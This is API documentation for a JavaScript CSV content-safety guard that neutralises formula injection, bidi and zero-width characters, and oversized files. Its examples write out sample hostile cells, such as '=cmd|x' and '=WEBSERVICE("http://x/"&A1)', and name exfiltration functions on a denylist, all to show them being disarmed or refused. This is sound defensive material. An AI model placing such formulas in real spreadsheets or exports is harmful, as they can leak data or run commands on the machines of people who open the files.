Guard Csv
CSV content-safety guard — defends against the broader threat catalog operators face when emitting or accepting CSVs sourced from user input. b.csv.parse / b.csv.stringify handle RFC 4180 shape; this module layers the security catalog on top.
CSV-injection / formula-trigger defense: spreadsheet evaluators (Excel / LibreOffice / Google Sheets) treat any cell beginning with =, +, -, @, TAB, CR, LF, or | as a formula — including exfiltration vectors like =WEBSERVICE(...), =HYPERLINK(...), =IMPORTXML(...). Full-width variants (U+FF1D =, U+FF0B +, U+FF0D -, U+FF20 @) are caught alongside the ASCII triggers per the OWASP locale catalog. Five mitigation modes apply: prefix-tab (OWASP-recommended, prepends TAB so the evaluator treats the cell as text), prefix-quote (legacy ' prefix), wrap-with-quotes-and-prefix (email-attachment posture), reject (throw), allowlist (only documented safe functions like SUM / AVERAGE pass through unprefixed).
Unicode bidi/zero-width strip: CVE-2021-42574 Trojan Source bidi overrides (U+202A-202E, U+2066-2069) are rejected or stripped per profile; zero-width characters (ZWSP / ZWNJ / ZWJ / WJ / SHY) always strip. Leading bidi/zero-width prefixes are stripped before the formula scan so a cell beginning with U+200B=SUM(...) cannot slip past the start-anchor check.
CSV-bomb caps: per-cell (maxCellBytes, default 64 KiB), total (maxTotalBytes, default 1 GiB), row count (maxRows, default ~1 M), column count (maxColumns, default 1024), and a sanitize amplification ratio (sanitizeAmplificationCap, default 1.5x) that refuses pathological re-quote expansions.
Doubled-quote escape is delegated to b.csv.stringify — every cell value containing the delimiter, the quote char, CR, or LF is wrapped in quotes with embedded quotes doubled per RFC 4180.
Profiles: strict / balanced / permissive / email-attachment. Compliance postures: hipaa / pci-dss / gdpr / soc2. Operators select via { profile: "strict" } or { compliancePosture: "hipaa" }; postures overlay on top of the profile baseline.
Threat-detection regex literals are composed programmatically from numeric codepoint ranges so the source file stays pure ASCII — never embeds the attack characters themselves.
b.guardCsv.escapeCell(value, opts?) #
{
formulaInjectionPolicy: "prefix-tab"|"prefix-quote"|"wrap-with-quotes-and-prefix"|"reject"|"allowlist",
formulasAllowlist: string[], // when policy === "allowlist"
bidiCharPolicy: "reject"|"strip"|"audit"|"allow",
controlCharPolicy: "reject"|"strip"|"allow",
nullByteHandling: "reject"|"strip"|"allow",
trailingWhitespacePolicy: "trim"|"preserve"|"reject",
numericPrecisionPolicy: "decimal-string-above-safe-int"|"scientific"|"reject-bigint",
maxCellBytes: number, // default 65536 (64 KiB)
}
Apply the full guard-csv threat catalog to a single cell value: formula-prefix mitigation, null-byte / C0-control / bidi handling, trailing-whitespace policy, numeric-precision policy, and BigInt disposition. Returns the safe string form. Throws GuardCsvError when a reject policy fires (formula-trigger under formulaInjectionPolicy: "reject", control char under controlCharPolicy: "reject", etc.) or when the cell exceeds maxCellBytes.
Used internally by b.guardCsv.serialize per cell; exposed directly for operators that emit CSV through their own writer (streaming exports, third-party libraries) and only need the per-cell defense.
var safe = b.guardCsv.escapeCell("=cmd|x", { formulaInjectionPolicy: "prefix-tab" });
safe; // → "\t=cmd|x"
// Reject mode throws GuardCsvError instead of disarming.
try {
b.guardCsv.escapeCell("+1234567", { formulaInjectionPolicy: "reject" });
} catch (e) {
e.code; // → "csv.formula-injection"
}
// Numeric precision: above MAX_SAFE_INTEGER, write as decimal string.
var huge = b.guardCsv.escapeCell(9007199254740993, {
numericPrecisionPolicy: "decimal-string-above-safe-int",
});
huge; // → "9007199254740993"
b.guardCsv.schema(spec) #
Build a schema-bound serializer/validator pair. Each row's column values are checked against the column's type ("string" / "number" / "boolean"), optional regex, optional min / max (for numbers), and nullable flag before the row reaches serialize. Type / range / regex / null violations throw GuardCsvError with codes csv.schema-type / csv.schema-range / csv.schema-regex / csv.schema-null and the offending row index — operators get the failing-row coordinates without parsing the error string.
Returns { serialize, validate, columns }. The returned serialize accepts the same opts as b.guardCsv.serialize and applies the column ordering automatically.
var bound = b.guardCsv.schema({
columns: [
{ name: "email", type: "string", regex: /^[^@]+@[^@]+$/ },
{ name: "age", type: "number", min: 0, max: 150, nullable: true },
],
});
var out = bound.serialize([
{ email: "alice@example.com", age: 30 },
{ email: "bob@example.com", age: null },
], { profile: "strict" });
out.indexOf("alice@example.com") !== -1; // → true
b.guardCsv.serialize(rows, opts?) #
{
profile: "strict"|"balanced"|"permissive"|"email-attachment",
compliancePosture: "hipaa"|"pci-dss"|"gdpr"|"soc2",
headers: string[]|false, // explicit column order; false suppresses header row
delimiter: string, // default ","
lineEnding: string, // default "\r\n"
bomPrefix: boolean, // prepend U+FEFF (Excel-friendly)
maxRows: number, // default 1048576
maxCellBytes: number, // default 65536
maxColumns: number, // default 1024
maxTotalBytes: number, // default 1073741824 (1 GiB)
piiPolicy: "preserve"|"redact",
redact: b.redact instance, // required when piiPolicy === "redact"
}
Emit RFC 4180 CSV from rows (array of objects or array of arrays) with the full guard-csv threat catalog applied per cell — formula-prefix mitigation, bidi/null/control handling, trailing-whitespace policy, numeric-precision policy. Doubled- quote escape is delegated to b.csv.stringify. Caps enforced: maxRows, maxCellBytes, maxColumns, maxTotalBytes (each a positive finite integer; passing Infinity throws).
When piiPolicy: "redact" is set and an opts.redact instance is passed (typically b.redact.create(...)), every emitted string cell is run through redact.string(...) before stringification. The HIPAA / PCI-DSS / GDPR postures default piiPolicy to "redact".
var out = b.guardCsv.serialize([
{ name: "alice", note: "=WEBSERVICE(\"http://x\")" },
{ name: "bob", note: "ok" },
], { profile: "strict" });
// Formula trigger disarmed with a leading TAB per OWASP guidance:
out.indexOf("\t=WEBSERVICE") !== -1; // → true
out.indexOf("\r\n") !== -1; // → true
b.guardCsv.validate(input, opts?) #
{
profile: "strict"|"balanced"|"permissive"|"email-attachment",
compliancePosture: "hipaa"|"pci-dss"|"gdpr"|"soc2",
bidiCharPolicy: "reject"|"strip"|"audit"|"allow",
controlCharPolicy: "reject"|"strip"|"allow",
nullByteHandling: "reject"|"strip"|"allow",
homoglyphPolicy: "audit"|"strip"|"allow",
formulaInjectionPolicy: "prefix-tab"|"prefix-quote"|"wrap-with-quotes-and-prefix"|"reject"|"audit-only"|"allow",
dangerousFunctions: string[],
dialectPolicy: "strict"|"permissive",
}
Inspect input (string or Buffer of CSV text) and return { ok, issues }. Each issue carries { kind, severity, ruleId, location, snippet } with severity in "warn"|"high"|"critical". Detected: BOM mid-stream, Unicode bidi override (CVE-2021-42574), C0 control char, null byte, homoglyph, zero-width char, formula-prefix cell (bidi/zero-width leading prefix is stripped before the scan), dangerous-function denylist hit, mixed line endings (when dialectPolicy: "strict"). Pure inspection — never mutates input or throws.
var rv = b.guardCsv.validate("name,formula\r\nalice,=WEBSERVICE(\"x\")\r\n", {
profile: "strict",
});
rv.ok; // → false
rv.issues.some(function (i) { return i.kind === "dangerous-function"; }); // → true
b.guardCsv.sanitize(input, opts?) #
{
profile: "strict"|"balanced"|"permissive"|"email-attachment",
compliancePosture: "hipaa"|"pci-dss"|"gdpr"|"soc2",
bidiCharPolicy: "reject"|"strip"|"audit"|"allow",
controlCharPolicy: "reject"|"strip"|"allow",
nullByteHandling: "reject"|"strip"|"allow",
homoglyphPolicy: "audit"|"strip"|"allow",
trailingWhitespacePolicy: "trim"|"preserve"|"reject",
sanitizeAmplificationCap: number, // default 1.5
}
Best-effort cleanup of input (string or Buffer): strips leading BOM (when bomPrefix: false), bidi override chars (when bidiCharPolicy: "strip"), C0 control chars (when controlCharPolicy: "strip"), null bytes (when nullByteHandling: "strip"), zero-width chars (always), and trailing whitespace per trailingWhitespacePolicy. Refuses pathological expansion: when the sanitized output exceeds sanitizeAmplificationCap (default 1.5x) the function throws GuardCsvError("csv.sanitize-amplified") — sanitize is a shrinking operation by contract, never a growing one.
Note: sanitize does NOT prepend formula-trigger mitigations to cells (that's b.guardCsv.serialize / b.guardCsv.escapeCell's job, applied during emission). Use the gate action chain for accept-side defense — it sanitizes, re-parses, and re-serializes with the formula mitigation baked in.
// Build hostile input programmatically so the source stays ASCII.
var ZWSP = String.fromCharCode(0x200B);
var clean = b.guardCsv.sanitize("name,note\r\nalice,hi" + ZWSP + "\r\n", {
profile: "balanced",
});
clean.indexOf(ZWSP) === -1; // → true
b.guardCsv.detect(input) #
Sniff dialect heuristics from input (string or Buffer): most- frequent delimiter on the first line (",", ";", "\t", "|"), dominant line-ending, header presence (first line starts with an ASCII letter), encoding hint ("utf-8" vs "utf-8-sig" when a leading BOM is present), and a single-pass dialect verdict ("consistent" vs "mixed" line endings). Returns a confidence score in [0, 1]. Pure inspection.
var d = b.guardCsv.detect("name,age\r\nalice,30\r\nbob,40\r\n");
d.delimiter; // → ","
d.lineEnding; // → "\r\n"
d.hasHeader; // → true
d.encoding; // → "utf-8"
d.dialect; // → "consistent"
b.guardCsv.gate(opts?) #
{
profile: "strict"|"balanced"|"permissive"|"email-attachment",
compliancePosture: "hipaa"|"pci-dss"|"gdpr"|"soc2",
name: string, // gate identity for audit / observability
operatorRules: [{ id: string, severity: "warn"|"high"|"critical",
detect: function, reason: string }],
}
Build a b.gateContract gate suitable for plugging into b.staticServe({ contentSafety: { ".csv": gate } }), b.fileUpload({ contentSafety: { "text/csv": gate } }), b.mail, or b.objectStore. Each finding's action is the one the operator's policy for that class selected: serve (no issues) → audit-only (observe-only findings) → sanitize (a class set to a mitigation — formula prefix-tab, bidi/control strip — so the gate strips, then re-parses + re-serializes when a formula cell is present so escapeCell's mitigation lands) → refuse (a class set to reject, the dangerous-function denylist, or an ambiguous mixed dialect). refuse wins over sanitize wins over audit-only.
Operator extensibility: pass operatorRules: [{ id, severity, detect: fn(ctx)→boolean, reason }] to inject custom detectors alongside the built-in catalog. Rules run best-effort — a throwing detector is silently skipped (the framework cannot crash a request because an operator rule mishandled bytes).
var csvGate = b.guardCsv.gate({ profile: "strict" });
// Wire into staticServe so every served .csv runs through the gate.
var serve = b.staticServe.create({
root: "/var/data",
contentSafety: { ".csv": csvGate },
});
// A plain formula cell is mitigated in place (strict's formula policy is
// prefix-tab — a cell beginning `=`/`+`/`-`/`@` is prefixed with a TAB so
// spreadsheets render it as text rather than evaluate it):
var formula = Buffer.from("name,formula\r\nalice,=cmd|x\r\n", "utf8");
(await csvGate.check({ bytes: formula })).action; // → "sanitize"
// A denylisted exfiltration/RCE function refuses — too dangerous to serve
// even prefixed:
var exfil = Buffer.from('a\r\n=WEBSERVICE("http://x/"&A1)\r\n', "utf8");
(await csvGate.check({ bytes: exfil })).action; // → "refuse"
b.guardCsv.compliancePosture(name) #
Look up a compliance-posture overlay by name (one of "hipaa" / "pci-dss" / "gdpr" / "soc2"). Returns a fresh clone of the posture overlay so the caller may mutate it freely without disturbing the shared table. Throws GuardCsvError with code "csv.bad-posture" when the name is not one this guard maps. Wired by gateContract.defineGuard through gateContract.lookupCompliancePosture, so the clone semantics and error code are identical across every guard in the family.
var posture = b.guardCsv.compliancePosture("hipaa");
posture; // → overlay clone (mutable)
try {
b.guardCsv.compliancePosture("not-a-regime");
} catch (e) {
e.code; // → "csv.bad-posture"
}
b.guardCsv.buildProfile(opts) #
{
extends: string|string[], // base profile name(s) to compose
...: any guard key, // inline override of resolved keys
}
Compose a derived profile from one or more named bases plus inline overrides, resolving names through this guard's own PROFILES table. opts.extends is a base profile name ("strict" / "balanced" / "permissive") or an array of names — later entries shadow earlier ones, and inline opts keys win last. Wired by gateContract.defineGuard through gateContract.makeProfileBuilder, so operator-defined profiles stay traceable to a baseline instead of a hand-typed dictionary.
var custom = b.guardCsv.buildProfile({ extends: "strict" });
custom; // → composed profile object
b.guardCsv.loadRulePack(pack) #
Register an operator-supplied rule pack with this guard's rule-pack registry. The pack is identified by pack.id (a non-empty string) and stored for later dispatch by gates that opt in via opts.rulePackId. Returns the pack unchanged on success; throws GuardCsvError with code "csv.bad-opt" when pack is missing or pack.id is not a non-empty string. Wired by gateContract.defineGuard through gateContract.makeRulePackLoader, so storage shape and validation are identical across the family.
var pack = b.guardCsv.loadRulePack({ id: "tenant-policy", rules: [] });
pack.id; // → "tenant-policy"
b.guardCsv.resolveOpts(opts?) #
{
profile: string, // one of PROFILES; default this guard's default
compliancePosture: string, // overlay one of hipaa/pci-dss/gdpr/soc2
}
Resolve caller opts against this guard's PROFILES + compliance-posture overlays into the fully-defaulted option set the guard runs on — the same resolution validate / sanitize / gate apply internally. Wired by gateContract.defineGuard from the guard's binding config (profiles / postures / defaults / error class), so a guard's bespoke gate calls resolveOpts instead of re-declaring the per-guard resolver wrapper. Throws GuardCsvError with code "csv.bad-opt" / "csv.bad-posture" on an unknown profile or posture name.
var resolved = b.guardCsv.resolveOpts({ profile: "strict" });
resolved.profile; // → "strict"
Last updated 2026-08-08T16:39:49.652Z by seeder.